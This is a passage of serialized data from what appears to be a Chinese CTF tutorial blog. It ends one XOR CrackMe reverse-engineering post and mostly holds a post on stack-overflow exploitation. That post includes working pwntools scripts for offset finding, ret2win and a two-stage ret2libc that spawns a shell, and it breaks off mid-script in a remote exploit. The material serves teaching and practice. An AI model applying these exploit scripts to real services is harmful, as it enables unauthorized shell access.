solve.py\n",[15,8448,3405],{},[22,8450,8452],{"className":8451,"code":1309,"language":174,"meta":27},[172],[29,8453,1309],{"__ignoreMap":27},[15,8455,8456],{},"验证：",[22,8458,8459],{"className":24,"code":1318,"language":26,"meta":27,"style":27},[29,8460,8461],{"__ignoreMap":27},[32,8462,8463,8465],{"class":34,"line":35},[32,8464,1325],{"class":38},[32,8466,1328],{"class":42},[15,8468,3405,8469,300],{},[29,8470,266],{},[10,8472,8474],{"id":8473},"七必学工具","七、必学工具",[489,8476,8477,8487],{},[492,8478,8479],{},[495,8480,8481,8483,8485],{},[498,8482,1046],{},[498,8484,1049],{},[498,8486,5037],{},[505,8488,8489,8501,8513,8528,8545],{},[495,8490,8491,8493,8496],{},[510,8492,162],{},[510,8494,8495],{},"看类型/是否 stripped",[510,8497,8498],{},[29,8499,8500],{},"file crackme",[495,8502,8503,8505,8508],{},[510,8504,208],{},[510,8506,8507],{},"提取字符串、指定最小长度",[510,8509,8510],{},[29,8511,8512],{},"strings -n 3 crackme",[495,8514,8515,8517,8520],{},[510,8516,364],{},[510,8518,8519],{},"反汇编、看数据段",[510,8521,8522,263,8525],{},[29,8523,8524],{},"objdump -d -M intel crackme",[29,8526,8527],{},"objdump -s -j .rodata crackme",[495,8529,8530,8532,8535],{},[510,8531,1104],{},[510,8533,8534],{},"断点、运行、查看内存",[510,8536,8537,263,8539,263,8542],{},[29,8538,1112],{},[29,8540,8541],{},"run xxx",[29,8543,8544],{},"x/24bx addr",[495,8546,8547,8550,8553],{},[510,8548,8549],{},"Ghidra",[510,8551,8552],{},"反编译伪代码",[510,8554,8555],{},[29,8556,8557],{},"ghidraRun",[10,8559,8561],{"id":8560},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[788,8563,8564,8571,8582,8588],{},[791,8565,8566,8568,8569,300],{},[29,8567,8512],{}," → 找到密钥 ",[29,8570,273],{},[791,8572,8573,8575,8576,8578,8579,300],{},[29,8574,364],{},"/Ghidra → 确认 ",[29,8577,553],{}," 里是 ",[29,8580,8581],{},"input[i] ^ key[i%3] == enc[i]",[791,8583,8584,8585,300],{},"Python 一行异或还原 → ",[29,8586,8587],{},"ctf{reverse_engineering}",[791,8589,8590,8591,300],{},"运行验证 → ",[29,8592,266],{},[10,8594,6581],{"id":6580},[15,8596,8597,8598,8601],{},"XOR CrackMe 的通用解法：",[135,8599,8600],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[1349,8603,8604],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":27,"searchDepth":46,"depth":46,"links":8606},[8607,8608,8609,8610,8611,8612,8613,8614,8615],{"id":7680,"depth":69,"text":7681},{"id":7687,"depth":69,"text":7688},{"id":130,"depth":69,"text":131},{"id":8029,"depth":69,"text":8030},{"id":845,"depth":69,"text":846},{"id":8349,"depth":69,"text":8350},{"id":8473,"depth":69,"text":8474},{"id":8560,"depth":69,"text":8561},{"id":6580,"depth":69,"text":6581},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。",{"date":1365,"image":8618,"alt":8619,"tags":8620,"published":1372},"/blogs-img/blog7.png","XOR CrackMe 完整实操",[1369,1370,1138,1371],"/blogs/ctf-reverse-crackme-deep-dive",{"title":7675,"description":8616},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",{"id":8626,"title":8627,"body":8628,"description":9713,"extension":1363,"meta":9714,"navigation":1372,"ogImage":9715,"path":9719,"seo":9720,"stem":9721,"__hash__":9722},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":7,"value":8629,"toc":9700},[8630,8634,8649,8652,8654,8702,8704,8708,8788,8791,8810,8814,8819,8824,8836,8838,8843,8846,8901,8903,8908,8914,8917,8920,8930,8984,8986,8992,9006,9010,9015,9076,9078,9088,9090,9096,9114,9118,9124,9127,9154,9156,9162,9175,9181,9185,9192,9197,9206,9210,9216,9220,9496,9499,9505,9509,9556,9560,9621,9625,9636,9677,9679,9684,9688,9697],[10,8631,8633],{"id":8632},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[15,8635,8636,263,8638,263,8641,8644,8645,8648],{},[29,8637,2365],{},[29,8639,8640],{},"strcpy",[29,8642,8643],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[29,8646,8647],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[15,8650,8651],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[10,8653,89],{"id":88},[22,8655,8657],{"className":24,"code":8656,"language":26,"meta":27,"style":27},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n",[29,8658,8659,8669,8681],{"__ignoreMap":27},[32,8660,8661,8663,8665,8667],{"class":34,"line":35},[32,8662,102],{"class":38},[32,8664,105],{"class":42},[32,8666,2390],{"class":42},[32,8668,2393],{"class":42},[32,8670,8671,8673,8675,8678],{"class":34,"line":46},[32,8672,2398],{"class":38},[32,8674,105],{"class":42},[32,8676,8677],{"class":42}," pwntools",[32,8679,8680],{"class":42}," ROPgadget\n",[32,8682,8683,8685,8687,8690,8692,8694,8697,8699],{"class":34,"line":69},[32,8684,5282],{"class":38},[32,8686,5285],{"class":42},[32,8688,8689],{"class":42}," https://github.com/pwndbg/pwndbg",[32,8691,780],{"class":62},[32,8693,770],{"class":769},[32,8695,8696],{"class":42}," pwndbg",[32,8698,780],{"class":62},[32,8700,8701],{"class":38},"./setup.sh\n",[10,8703,2407],{"id":2406},[15,8705,8706,560],{},[29,8707,2413],{},[22,8709,8710],{"className":815,"code":2416,"language":817,"meta":27,"style":27},[29,8711,8712,8716,8720,8724,8728,8732,8736,8740,8744,8748,8752,8756,8760,8764,8768,8772,8776,8780,8784],{"__ignoreMap":27},[32,8713,8714],{"class":34,"line":35},[32,8715,2423],{},[32,8717,8718],{"class":34,"line":46},[32,8719,2428],{},[32,8721,8722],{"class":34,"line":69},[32,8723,2433],{"emptyLinePlaceholder":1372},[32,8725,8726],{"class":34,"line":79},[32,8727,2438],{},[32,8729,8730],{"class":34,"line":451},[32,8731,2443],{},[32,8733,8734],{"class":34,"line":457},[32,8735,2448],{},[32,8737,8738],{"class":34,"line":463},[32,8739,2433],{"emptyLinePlaceholder":1372},[32,8741,8742],{"class":34,"line":469},[32,8743,2457],{},[32,8745,8746],{"class":34,"line":475},[32,8747,2462],{},[32,8749,8750],{"class":34,"line":481},[32,8751,2467],{},[32,8753,8754],{"class":34,"line":1294},[32,8755,2448],{},[32,8757,8758],{"class":34,"line":1300},[32,8759,2433],{"emptyLinePlaceholder":1372},[32,8761,8762],{"class":34,"line":2478},[32,8763,2481],{},[32,8765,8766],{"class":34,"line":2484},[32,8767,2487],{},[32,8769,8770],{"class":34,"line":2490},[32,8771,2493],{},[32,8773,8774],{"class":34,"line":2496},[32,8775,2499],{},[32,8777,8778],{"class":34,"line":2502},[32,8779,2505],{},[32,8781,8782],{"class":34,"line":2508},[32,8783,2511],{},[32,8785,8786],{"class":34,"line":2514},[32,8787,2448],{},[15,8789,8790],{},"编译：",[22,8792,8794],{"className":24,"code":8793,"language":26,"meta":27,"style":27},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[29,8795,8796],{"__ignoreMap":27},[32,8797,8798,8800,8802,8804,8806,8808],{"class":34,"line":35},[32,8799,2529],{"class":38},[32,8801,2532],{"class":240},[32,8803,2535],{"class":42},[32,8805,2538],{"class":42},[32,8807,2541],{"class":240},[32,8809,2544],{"class":240},[10,8811,8813],{"id":8812},"四核心步骤-1checksec","四、核心步骤 1：checksec",[15,8815,8816,8818],{},[135,8817,137],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[15,8820,8821,8823],{},[135,8822,143],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[22,8825,8826],{"className":24,"code":2574,"language":26,"meta":27,"style":27},[29,8827,8828],{"__ignoreMap":27},[32,8829,8830,8832,8834],{"class":34,"line":35},[32,8831,2581],{"class":38},[32,8833,2584],{"class":42},[32,8835,2587],{"class":42},[15,8837,168],{},[22,8839,8841],{"className":8840,"code":2593,"language":174,"meta":27},[172],[29,8842,2593],{"__ignoreMap":27},[15,8844,8845],{},"逐行含义：",[489,8847,8848,8856],{},[492,8849,8850],{},[495,8851,8852,8854],{},[498,8853,6468],{},[498,8855,503],{},[505,8857,8858,8868,8878,8891],{},[495,8859,8860,8865],{},[510,8861,8862],{},[29,8863,8864],{},"No canary found",[510,8866,8867],{},"无栈金丝雀，可覆盖返回地址",[495,8869,8870,8875],{},[510,8871,8872],{},[29,8873,8874],{},"NX enabled",[510,8876,8877],{},"栈不可执行，不能直接放 shellcode",[495,8879,8880,8885],{},[510,8881,8882],{},[29,8883,8884],{},"No PIE",[510,8886,8887,8888,8890],{},"程序地址固定，",[29,8889,2655],{}," 地址可直接写死",[495,8892,8893,8898],{},[510,8894,8895],{},[29,8896,8897],{},"Partial RELRO",[510,8899,8900],{},"GOT 可写（本阶段用不到）",[10,8902,2660],{"id":2659},[15,8904,8905,8907],{},[29,8906,2665],{}," 栈帧自低到高：",[22,8909,8912],{"className":8910,"code":8911,"language":174,"meta":27},[172],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[29,8913,8911],{"__ignoreMap":27},[15,8915,8916],{},"偏移 = 32 + 8 = 40。",[15,8918,8919],{},"用 pwntools 验证：",[15,8921,8922,560,8924,8926,8927,8929],{},[135,8923,143],{},[29,8925,2678],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[29,8928,3036],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[22,8931,8933],{"className":1237,"code":8932,"language":1239,"meta":27,"style":27},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[29,8934,8935,8939,8943,8947,8951,8956,8960,8965,8969,8974,8979],{"__ignoreMap":27},[32,8936,8937],{"class":34,"line":35},[32,8938,2689],{},[32,8940,8941],{"class":34,"line":46},[32,8942,2433],{"emptyLinePlaceholder":1372},[32,8944,8945],{"class":34,"line":69},[32,8946,2698],{},[32,8948,8949],{"class":34,"line":79},[32,8950,2703],{},[32,8952,8953],{"class":34,"line":451},[32,8954,8955],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[32,8957,8958],{"class":34,"line":457},[32,8959,2718],{},[32,8961,8962],{"class":34,"line":463},[32,8963,8964],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[32,8966,8967],{"class":34,"line":469},[32,8968,2728],{},[32,8970,8971],{"class":34,"line":475},[32,8972,8973],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[32,8975,8976],{"class":34,"line":481},[32,8977,8978],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[32,8980,8981],{"class":34,"line":1294},[32,8982,8983],{},"print(\"offset =\", offset)\n",[15,8985,168],{},[22,8987,8990],{"className":8988,"code":8989,"language":174,"meta":27},[172],"offset = 40\n",[29,8991,8989],{"__ignoreMap":27},[15,8993,8994,8995,8998,8999,9002,9003,9005],{},"原理：",[29,8996,8997],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[29,9000,9001],{},"rip"," 的值必然是模式串中的 4/8 字节，",[29,9004,3036],{}," 返回它在模式串中的位置，即到返回地址的距离。",[10,9007,9009],{"id":9008},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[15,9011,9012,9014],{},[135,9013,137],{},"：把返回地址改成 win，验证控制流劫持成功。",[22,9016,9018],{"className":1237,"code":9017,"language":1239,"meta":27,"style":27},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[29,9019,9020,9024,9028,9032,9036,9040,9044,9049,9053,9058,9063,9067,9071],{"__ignoreMap":27},[32,9021,9022],{"class":34,"line":35},[32,9023,2689],{},[32,9025,9026],{"class":34,"line":46},[32,9027,2433],{"emptyLinePlaceholder":1372},[32,9029,9030],{"class":34,"line":69},[32,9031,2779],{},[32,9033,9034],{"class":34,"line":79},[32,9035,2698],{},[32,9037,9038],{"class":34,"line":451},[32,9039,2433],{"emptyLinePlaceholder":1372},[32,9041,9042],{"class":34,"line":457},[32,9043,2941],{},[32,9045,9046],{"class":34,"line":463},[32,9047,9048],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[32,9050,9051],{"class":34,"line":469},[32,9052,2956],{},[32,9054,9055],{"class":34,"line":475},[32,9056,9057],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[32,9059,9060],{"class":34,"line":481},[32,9061,9062],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[32,9064,9065],{"class":34,"line":1294},[32,9066,2882],{},[32,9068,9069],{"class":34,"line":1300},[32,9070,2970],{},[32,9072,9073],{"class":34,"line":2478},[32,9074,9075],{},"# interactive()：把终端接到进程，shell 可交互。\n",[15,9077,6433],{},[22,9079,9080],{"className":24,"code":3097,"language":26,"meta":27,"style":27},[29,9081,9082],{"__ignoreMap":27},[32,9083,9084,9086],{"class":34,"line":35},[32,9085,3104],{"class":38},[32,9087,3107],{"class":42},[15,9089,2983],{},[22,9091,9094],{"className":9092,"code":9093,"language":174,"meta":27},[172],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[29,9095,9093],{"__ignoreMap":27},[15,9097,9098,9099,9101,9102,3276,9104,980,9106,9108,9109,3276,9111,9113],{},"执行过程：",[29,9100,2365],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[29,9103,2655],{},[29,9105,2665],{},[29,9107,8647],{}," 跳到 ",[29,9110,2655],{},[29,9112,2999],{}," 弹 shell。",[10,9115,9117],{"id":9116},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[15,9119,9120,9121,9123],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[29,9122,8647],{}," 结尾的指令片段（gadget）串起来执行。",[15,9125,9126],{},"找 gadget：",[22,9128,9130],{"className":24,"code":9129,"language":26,"meta":27,"style":27},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[29,9131,9132],{"__ignoreMap":27},[32,9133,9134,9137,9140,9143,9145,9147,9149,9152],{"class":34,"line":35},[32,9135,9136],{"class":38},"ROPgadget",[32,9138,9139],{"class":240}," --binary",[32,9141,9142],{"class":42}," ./vuln",[32,9144,399],{"class":55},[32,9146,402],{"class":38},[32,9148,5458],{"class":411},[32,9150,9151],{"class":42},"pop rdi",[32,9153,5464],{"class":411},[15,9155,168],{},[22,9157,9160],{"className":9158,"code":9159,"language":174,"meta":27},[172],"0x0000000000401233 : pop rdi ; ret\n",[29,9161,9159],{"__ignoreMap":27},[15,9163,9164,9167,9168,9171,9172,9174],{},[29,9165,9166],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[29,9169,9170],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[29,9173,8647],{}," 跳到下个地址。栈上布局：",[22,9176,9179],{"className":9177,"code":9178,"language":174,"meta":27},[172],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[29,9180,9178],{"__ignoreMap":27},[10,9182,9184],{"id":9183},"八进阶ret2libc","八、进阶：ret2libc",[15,9186,9187,9189,9190,300],{},[135,9188,137],{},"：程序内没有目标函数时，改调 libc 的 ",[29,9191,2999],{},[15,9193,9194,9196],{},[135,9195,143],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[15,9198,9199,9200,9202,9203,9205],{},"程序里没有 ",[29,9201,2655],{}," 时，改调 libc 里的 ",[29,9204,2999],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[146,9207,9209],{"id":9208},"_81-原理","8.1 原理",[22,9211,9214],{"className":9212,"code":9213,"language":174,"meta":27},[172],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[29,9215,9213],{"__ignoreMap":27},[146,9217,9219],{"id":9218},"_82-完整脚本","8.2 完整脚本",[22,9221,9223],{"className":1237,"code":9222,"language":1239,"meta":27,"style":27},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[29,9224,9225,9229,9233,9238,9243,9247,9251,9256,9261,9265,9269,9273,9278,9283,9287,9292,9297,9302,9307,9312,9317,9322,9327,9332,9337,9342,9346,9350,9355,9359,9364,9369,9374,9379,9384,9388,9393,9398,9403,9409,9415,9420,9426,9432,9438,9444,9450,9456,9462,9468,9474,9479,9485,9491],{"__ignoreMap":27},[32,9226,9227],{"class":34,"line":35},[32,9228,2689],{},[32,9230,9231],{"class":34,"line":46},[32,9232,2433],{"emptyLinePlaceholder":1372},[32,9234,9235],{"class":34,"line":69},[32,9236,9237],{},"context.log_level = 'error'\n",[32,9239,9240],{"class":34,"line":79},[32,9241,9242],{},"# 只显示错误，减少调试信息刷屏。\n",[32,9244,9245],{"class":34,"line":451},[32,9246,2433],{"emptyLinePlaceholder":1372},[32,9248,9249],{"class":34,"line":457},[32,9250,2779],{},[32,9252,9253],{"class":34,"line":463},[32,9254,9255],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[32,9257,9258],{"class":34,"line":469},[32,9259,9260],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[32,9262,9263],{"class":34,"line":475},[32,9264,2698],{},[32,9266,9267],{"class":34,"line":481},[32,9268,2433],{"emptyLinePlaceholder":1372},[32,9270,9271],{"class":34,"line":1294},[32,9272,8989],{},[32,9274,9275],{"class":34,"line":1300},[32,9276,9277],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[32,9279,9280],{"class":34,"line":2478},[32,9281,9282],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[32,9284,9285],{"class":34,"line":2484},[32,9286,2433],{"emptyLinePlaceholder":1372},[32,9288,9289],{"class":34,"line":2490},[32,9290,9291],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[32,9293,9294],{"class":34,"line":2496},[32,9295,9296],{},"payload1 = b'A' * offset\n",[32,9298,9299],{"class":34,"line":2502},[32,9300,9301],{},"payload1 += p64(ret)\n",[32,9303,9304],{"class":34,"line":2508},[32,9305,9306],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[32,9308,9309],{"class":34,"line":2514},[32,9310,9311],{},"payload1 += p64(pop_rdi)\n",[32,9313,9314],{"class":34,"line":3954},[32,9315,9316],{},"payload1 += p64(elf.got['puts'])\n",[32,9318,9319],{"class":34,"line":3960},[32,9320,9321],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[32,9323,9324],{"class":34,"line":3966},[32,9325,9326],{},"payload1 += p64(elf.plt['puts'])\n",[32,9328,9329],{"class":34,"line":3972},[32,9330,9331],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[32,9333,9334],{"class":34,"line":3978},[32,9335,9336],{},"payload1 += p64(elf.symbols['main'])\n",[32,9338,9339],{"class":34,"line":4743},[32,9340,9341],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[32,9343,9344],{"class":34,"line":4748},[32,9345,2433],{"emptyLinePlaceholder":1372},[32,9347,9348],{"class":34,"line":4754},[32,9349,2941],{},[32,9351,9352],{"class":34,"line":4760},[32,9353,9354],{},"p.sendline(payload1)\n",[32,9356,9357],{"class":34,"line":4765},[32,9358,2433],{"emptyLinePlaceholder":1372},[32,9360,9361],{"class":34,"line":4771},[32,9362,9363],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[32,9365,9366],{"class":34,"line":4777},[32,9367,9368],{},"# recvline()：读一行（puts 输出后带换行）。\n",[32,9370,9371],{"class":34,"line":4783},[32,9372,9373],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[32,9375,9376],{"class":34,"line":4789},[32,9377,9378],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[32,9380,9381],{"class":34,"line":4794},[32,9382,9383],{},"print(\"puts:\", hex(leak))\n",[32,9385,9386],{"class":34,"line":4800},[32,9387,2433],{"emptyLinePlaceholder":1372},[32,9389,9390],{"class":34,"line":4806},[32,9391,9392],{},"libc.address = leak - libc.symbols['puts']\n",[32,9394,9395],{"class":34,"line":4812},[32,9396,9397],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[32,9399,9400],{"class":34,"line":4818},[32,9401,9402],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[32,9404,9406],{"class":34,"line":9405},39,[32,9407,9408],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[32,9410,9412],{"class":34,"line":9411},40,[32,9413,9414],{},"print(\"libc base:\", hex(libc.address))\n",[32,9416,9418],{"class":34,"line":9417},41,[32,9419,2433],{"emptyLinePlaceholder":1372},[32,9421,9423],{"class":34,"line":9422},42,[32,9424,9425],{},"# 第二阶段：system(\"/bin/sh\")\n",[32,9427,9429],{"class":34,"line":9428},43,[32,9430,9431],{},"payload2 = b'A' * offset\n",[32,9433,9435],{"class":34,"line":9434},44,[32,9436,9437],{},"payload2 += p64(ret)\n",[32,9439,9441],{"class":34,"line":9440},45,[32,9442,9443],{},"payload2 += p64(pop_rdi)\n",[32,9445,9447],{"class":34,"line":9446},46,[32,9448,9449],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[32,9451,9453],{"class":34,"line":9452},47,[32,9454,9455],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[32,9457,9459],{"class":34,"line":9458},48,[32,9460,9461],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[32,9463,9465],{"class":34,"line":9464},49,[32,9466,9467],{},"payload2 += p64(libc.symbols['system'])\n",[32,9469,9471],{"class":34,"line":9470},50,[32,9472,9473],{},"# 调用 system(\"/bin/sh\")。\n",[32,9475,9477],{"class":34,"line":9476},51,[32,9478,2433],{"emptyLinePlaceholder":1372},[32,9480,9482],{"class":34,"line":9481},52,[32,9483,9484],{},"p.sendlineafter(b'name?', payload2)\n",[32,9486,9488],{"class":34,"line":9487},53,[32,9489,9490],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[32,9492,9494],{"class":34,"line":9493},54,[32,9495,2970],{},[15,9497,9498],{},"运行输出：",[22,9500,9503],{"className":9501,"code":9502,"language":174,"meta":27},[172],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[29,9504,9502],{"__ignoreMap":27},[146,9506,9508],{"id":9507},"_83-三个易错点","8.3 三个易错点",[788,9510,9511,9531,9546],{},[791,9512,9513,560,9516,9519,9520,9523,9524,9527,9528,300],{},[135,9514,9515],{},"补零",[29,9517,9518],{},"puts"," 输出的地址以换行结尾，",[29,9521,9522],{},"strip()"," 去掉换行，",[29,9525,9526],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[29,9529,9530],{},"u64",[791,9532,9533,560,9536,9539,9540,9543,9544,300],{},[135,9534,9535],{},"对齐",[29,9537,9538],{},"system"," 内部使用 ",[29,9541,9542],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[29,9545,8647],{},[791,9547,9548,9551,9552,9555],{},[135,9549,9550],{},"libc 版本","：远程题目若提供 libc，用 ",[29,9553,9554],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[10,9557,9559],{"id":9558},"九必学工具","九、必学工具",[489,9561,9562,9572],{},[492,9563,9564],{},[495,9565,9566,9568,9570],{},[498,9567,1046],{},[498,9569,3015],{},[498,9571,3018],{},[505,9573,9574,9592,9604],{},[495,9575,9576,9578,9590],{},[510,9577,3025],{},[510,9579,9580,263,9582,1124,9584,263,9586,3040,9588],{},[29,9581,3030],{},[29,9583,2678],{},[29,9585,3036],{},[29,9587,2892],{},[29,9589,3043],{},[510,9591,3047],{},[495,9593,9594,9596,9599],{},[510,9595,9136],{},[510,9597,9598],{},"搜索 gadget、指定寄存器、输出地址",[510,9600,9601],{},[29,9602,9603],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[495,9605,9606,9609,9612],{},[510,9607,9608],{},"GDB（pwndbg）",[510,9610,9611],{},"断点、看栈、查看崩溃点",[510,9613,9614,263,9616,263,9618],{},[29,9615,3073],{},[29,9617,3076],{},[29,9619,9620],{},"bt",[10,9622,9624],{"id":9623},"十小-ctf-实战","十、小 CTF 实战",[15,9626,1135,9627,9629,9630,9632,9633,9635],{},[29,9628,3088],{}," 运行 ",[29,9631,2665],{},"（No canary、No PIE，有 ",[29,9634,2655],{},"）。",[22,9637,9639],{"className":1237,"code":9638,"language":1239,"meta":27,"style":27},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + 